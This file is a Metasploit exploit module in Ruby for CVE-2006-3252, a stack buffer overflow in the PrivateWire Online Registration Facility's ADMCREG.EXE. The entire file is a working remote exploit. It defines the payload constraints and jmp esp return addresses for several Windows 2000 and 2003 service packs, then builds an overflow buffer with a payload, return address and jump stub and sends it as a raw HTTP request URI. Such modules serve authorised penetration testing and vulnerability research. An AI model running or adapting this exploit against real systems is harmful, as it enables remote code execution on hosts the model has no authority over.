##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Private Wire Gateway Buffer Overflow',
			'Description'    => %q{
					This exploits a buffer overflow in the ADMCREG.EXE used
				in the PrivateWire Online Registration Facility.
			},
			'Author'         => 'Michael Thumann <mthumann[at]ernw.de>',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2006-3252'],
					['OSVDB', '26861'],
					['BID', '18647'],
				],
			'Payload'        =>
				{
					'Space'    => 8000,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 English SP0',     { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
					['Windows 2000 English SP1',     { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
					['Windows 2000 English SP2',     { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
					['Windows 2000 English SP3',     { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
					['Windows 2000 English SP4',     { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
					['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
					['Debugging',                    { 'Ret' => 0x41414141 }], # crash
				],
			'DefaultTarget'  => 4,
			'DisclosureDate' => 'Jun 26 2006'))

		register_options(
			[
				OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
			], self.class)
	end

	def exploit
		# add 25 to ecx and jmp
		jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"

		path_offset = datastore['PATH'].length - 8

		pattern                            = rand_text_alphanumeric(8192)
		pattern[0, payload.encoded.length] = payload.encoded
		pattern[8156 - path_offset, 4]     = [target.ret].pack('V')
		pattern[8160, jmp.length]          = jmp

		print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

		send_request_raw({
				'uri' => "/" + pattern
			}, 2)
	end

end